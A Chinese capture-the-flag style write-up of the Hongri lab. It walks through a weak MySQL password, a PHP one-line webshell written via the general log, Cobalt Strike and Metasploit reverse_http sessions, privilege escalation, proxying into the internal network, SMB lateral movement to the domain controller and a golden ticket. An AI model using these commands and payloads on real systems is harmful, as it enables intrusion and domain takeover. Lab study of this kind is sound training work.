红日靶场(一)渗透
第一章
渗透思路
一、漏洞利用
- 漏洞搜索与利用
- 系统信息收集
- 数据库弱密码
- 后台Getshell上传
- 主机信息收集
二、内网搜集
- 内网–继续信息收集
- 内网攻击姿势–信息泄露
- 内网攻击姿势-MS14-058
- 远程桌面口令猜测
三、横向移动
- 内网攻击姿势-SMB
- 黄金票据
四、构建通道
- 内网其它主机端口-代理转发
五、持久控制
- 域渗透-域成员信息收集
- 域渗透-基础服务弱口令探测及深度利用之powershell
- 域渗透-横向移动[wmi利用]
- 域渗透-C2命令执行
- 域渗透-利用DomainFronting实现对beacon的深度隐藏
- 域渗透-域控实现与利用
步骤描述
先使用nmap扫描端口开放情况
开放了80,3306端口
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV -Pn 192.168.111.20
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-14 10:21 +0800
Nmap scan report for 192.168.111.20
Host is up (0.068s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1030/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.60 seconds

访问80端口,可以发现有PHP探针

可以检测数据库连接

尝试弱密码 root/root,提示数据库连接成功

说明存在弱口令

在网页最下面我们可以看到这里使用了phpMyAdmin来管理数据库,因此我们现在可以登录后台

进入后,尝试一下是否可以直接写webshell,执行show global variables like '%secure%',发现不可写

这里字段是NULL,不可写,如果为空就可以写任意目录,有路径就只能往对应路径里写
再看看有没有开启日志,试试能不能往日志里写,执行SHOW GLOBAL VARIABLES LIKE '%general%';

没开,但我们可以把它打开,set global general_log='on'; 然后把日志路径改为web网站路径 set global general_log_file = 'C:/phpstudy/WWW/test.php'

检查一下发现更改成功了

接下来就可以往进写入一句话木马了,执行一下select "<?php eval($_POST['a'])?>"
然后我们直接用蚁剑连接这个木马

接下来就可以上线CS了,在kali中启动CS

创建监听器


生成EXE木马,把木马用蚁剑上传,然后打开终端执行木马

成功上线CS

接下来我们使用基于MSF+proxychains+kali的渗透
MSF联动,把CS会话注入MSF
首先在msf上监听自己的ip跟端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)
set lhost 本机ip
set lport 接受的端口
exploit [执行]

然后cs那边创建一个foreign监听的listeners。 Listeners的ip为msf的ip,端口为msf监听的端口

选择 spawn即可

MSF成功接收会话

msf添加路由run post/multi/manage/autoroute,使MSF能够与内网通讯,顺便设置字符编码为UTF-8避免乱码

run autoroute -p检查一下路由是否添加成功

由于现在我们不是SYSTEM,所以要提权到SYSTEM
尝试msf提权的时候返回
msf exploit(windows/local/ms15_051_client_copy_image) > run
[-] Handler failed to bind to 192.168.111.25:32222:- -
[-] Handler failed to bind to 0.0.0.0:32222:- -
[-] Exploit aborted due to failure: no-target: Running against WOW64 is not supported
[*] Exploit completed, but no session was created.
所以我们把当前会话迁移到64 位进程上,使用ps查看有哪些进程
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
252 4 smss.exe
312 488 svchost.exe
328 320 csrss.exe
384 376 csrss.exe
392 320 wininit.exe
428 376 winlogon.exe
444 1772 rundll32.exe x86 0 GOD\Administrator C:\Windows\syswow64\rundll32.exe
488 392 services.exe
500 392 lsass.exe
508 392 lsm.exe
604 488 svchost.exe
664 488 vmacthlp.exe
708 488 svchost.exe
800 488 svchost.exe
836 488 svchost.exe
860 488 svchost.exe
1012 488 svchost.exe
1080 488 spoolsv.exe
1112 488 svchost.exe
1264 488 svchost.exe
1340 488 openvpnserv.exe
1392 488 VGAuthService.ex
e
1604 488 taskhost.exe
1700 488 vmtoolsd.exe
1772 3648 beacon.exe x64 0 GOD\Administrator C:\phpStudy\WWW\beacon.exe
1972 488 sppsvc.exe
2112 488 msdtc.exe
2180 444 powershell.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\WindowsPowerShell\v
1.0\powershell.exe
2244 2880 httpd.exe x86 0 GOD\Administrator C:\phpStudy\Apache\bin\httpd.exe
2328 604 WmiPrvSE.exe
2536 488 svchost.exe
2768 860 taskeng.exe x64 0 GOD\Administrator C:\Windows\System32\taskeng.exe
2880 2768 httpd.exe x86 0 GOD\Administrator C:\phpStudy\Apache\bin\httpd.exe
2888 2768 mysqld.exe x86 0 GOD\Administrator C:\phpStudy\MySQL\bin\mysqld.exe
2900 604 slui.exe x64 1
2980 328 conhost.exe x64 0 GOD\Administrator C:\Windows\System32\conhost.exe
3352 488 SearchIndexer.ex
e
3648 3740 cmd.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
3656 836 dwm.exe
3680 3648 explorer.exe
3688 328 conhost.exe x64 0 GOD\Administrator C:\Windows\System32\conhost.exe
3692 328 conhost.exe x64 0 GOD\Administrator C:\Windows\System32\conhost.exe
3740 2244 cmd.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
3832 488 svchost.exe
3896 3680 vmtoolsd.exe
3912 3680 Everything.exe
3932 3680 openvpn-gui.exe
迁移到taskeng.exe (PID 2768)

这里也可以使用另一种方法升级架构:
# 先查看当前系统架构
sysinfo
# 确认是:x64-based PC
# 生成一个64位的Meterpreter payload
execute -f cmd.exe -c -H -i
# 进入cmd后执行(或者直接在meterpreter里):
run post/windows/manage/archmigrate

接下来就可以提权了

提权成功后没有回弹新的shell,所以我们做一下迁移
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
252 4 smss.exe
312 488 svchost.exe
328 320 csrss.exe
384 376 csrss.exe
392 320 wininit.exe
428 376 winlogon.exe
444 1772 rundll32.exe x86 0 GOD\Administrator C:\Windows\syswow64\rundll32.exe
488 392 services.exe
500 392 lsass.exe
508 392 lsm.exe
604 488 svchost.exe
664 488 vmacthlp.exe
708 488 svchost.exe
800 488 svchost.exe
836 488 svchost.exe
860 488 svchost.exe
1012 488 svchost.exe
1080 488 spoolsv.exe
1112 488 svchost.exe
1264 488 svchost.exe
1340 488 openvpnserv.exe
1392 488 VGAuthService.exe
1500 3408 svchost.exe x64 0 GOD\Administrator C:\windows\system32\svchost.exe
1604 488 taskhost.exe
1700 488 vmtoolsd.exe
1772 3648 beacon.exe x64 0 GOD\Administrator C:\phpStudy\WWW\beacon.exe
1972 488 sppsvc.exe
2000 1500 msiexec.exe x64 0 C:\windows\system32\msiexec.exe
2112 488 msdtc.exe
2124 4028 cmd.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
2180 444 powershell.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pow
ershell.exe
2244 2880 httpd.exe x86 0 GOD\Administrator C:\phpStudy\Apache\bin\httpd.exe
2328 604 WmiPrvSE.exe
2536 488 svchost.exe
2868 2124 beacon.exe x64 0 GOD\Administrator C:\phpStudy\WWW\beacon.exe
2880 2768 httpd.exe x86 0 GOD\Administrator C:\phpStudy\Apache\bin\httpd.exe
2888 2768 mysqld.exe x86 0 GOD\Administrator C:\phpStudy\MySQL\bin\mysqld.exe
2900 604 slui.exe x64 1
2980 328 conhost.exe x64 0 GOD\Administrator C:\Windows\system32\conhost.exe
3352 488 SearchIndexer.exe
3456 328 conhost.exe x64 0 GOD\Administrator C:\Windows\system32\conhost.exe
3588 2868 rundll32.exe x86 0 GOD\Administrator C:\Windows\syswow64\rundll32.exe
3648 3740 cmd.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
3656 836 dwm.exe
3680 3648 explorer.exe
3688 328 conhost.exe x64 0 GOD\Administrator C:\Windows\system32\conhost.exe
3692 328 conhost.exe x64 0 GOD\Administrator C:\Windows\system32\conhost.exe
3740 2244 cmd.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
3832 488 svchost.exe
3896 3680 vmtoolsd.exe
3912 3680 Everything.exe
3932 3680 openvpn-gui.exe
4028 2244 cmd.exe x86 0 GOD\Administrator C:\Windows\SysWOW64\cmd.exe
直接迁移到已经是SYSTEM权限的msiexec进程
migrate 2000

现在我们已经拿到这台windows主机的system了
接下来进行域内信息搜集
C:\phpStudy\WWW>ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : stu1
Primary Dns Suffix . . . . . . . : god.org
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : god.org
Ethernet adapter ������� 5:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #3
Physical Address. . . . . . . . . : 00-50-56-B1-90-E9
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::1414:c326:29:9100%26(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.111.20(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 721440854
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Npcap Loopback Adapter:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Npcap Loopback Adapter
Physical Address. . . . . . . . . : 02-00-4C-4F-4F-50
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::b461:ccad:e30f:81ba%24(Preferred)
Autoconfiguration IPv4 Address. . : 169.254.129.186(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 268566604
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter ������� 3:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : TAP-Windows Adapter V9 #2
Physical Address. . . . . . . . . : 00-FF-56-0B-EA-FC
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter ������� 2:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : TAP-Windows Adapter V9
Physical Address. . . . . . . . . : 00-FF-44-8D-CB-B5
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter �������:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-50-56-B1-10-1E
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::b439:d46:3203:bdf3%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.52.143(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.52.2
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS Servers . . . . . . . . . . . : 192.168.52.138
8.8.8.8
NetBIOS over Tcpip. . . . . . . . : Enabled
Tunnel adapter isatap.{4DAEBDFD-0177-4691-8243-B73297E2F0FF}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{560BEAFC-DAC4-4687-A564-57790875DC43}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{448DCBB5-7D61-4538-9C03-66B5CDAD1222}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{EC57C4EB-763E-4000-9CDE-4D7FF15DF74C}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #4
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{3333F97E-7734-4F23-9CBD-3435C7F5B981}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #5
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
发现存在域god.org
使用net view /domain看看有几个域

我们发现只有唯一一个域,域控主机名是GOD
我们接着查询所有域内主机,如下所示net view

用arp -a查询域内IP

为了确定哪个是域控主机IP,我们尝试去ping一下域名

查询 DNS SRV 记录
C:\phpStudy\WWW>nslookup -type=SRV _ldap._tcp.dc._msdcs.god.org
nslookup -type=SRV _ldap._tcp.dc._msdcs.god.org
DNS request timed out.
timeout was 2 seconds.
Server: UnKnown
Address: 192.168.52.138
_ldap._tcp.dc._msdcs.god.org SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = owa.god.org
owa.god.org internet address = 192.168.52.138
至此我们域内信息收集完毕
域名为 god
域中有三台主机:
stu1.god.org
root-tvi862ubeh.god.org 192.168.52.141
owa.god.org 192.168.52.138 域控主机
由于kali攻击机无法直接访问内网的Windows server 2008,所以只能通过在Windows7上面架设一个socks代理服务器,通过这个socks代理进入内网,从而控制Windows server 2008。
使用MSF开启socks代理
use auxiliary/server/socks_proxy
set version 4a
set srvhost 0.0.0.0
set srvport 1080
run
通过jobs可查看代理设置成功

使用kali代理从而访问内网 vim /etc/proxychains4.conf

火狐浏览器配置本机自动检测代理模式

输入proxychains firefox 192.168.52.138:80 成功访问内网web网站成功访问内网

接下来挂代理用nmap扫端口

开放了445端口,我们尝试使用永恒之蓝进行探测

但利用失败,所以我们转用CS来进行横向
凭证提权—>抓取明文密码
刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。
- SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
- SMB协议基础:文件共享,域名解析等,默认通过445端口通信

切换攻击目标列表

添加 用户名 密码 域名 -> 监听器 -> 对端连接的隧道
监听器选择我们刚刚创建的SMB监听器,对端连接的隧道选择system权限的


横向成功,进入域控

现在已经控制域控了

也可以考虑做权限维持
黄金票据是指能够绕过认证授权机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。
- 抓取 Hash 还有明文密码
把SID,域名,复制下来等下黄金票据要用

hash:
58e91a5ac358d86513ab224312314061:::

SID:
S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
2.黄金票据配置
凭证提权—>黄金票据
把刚刚复制的域名,SID,hash粘贴上去,用户名随便

成功
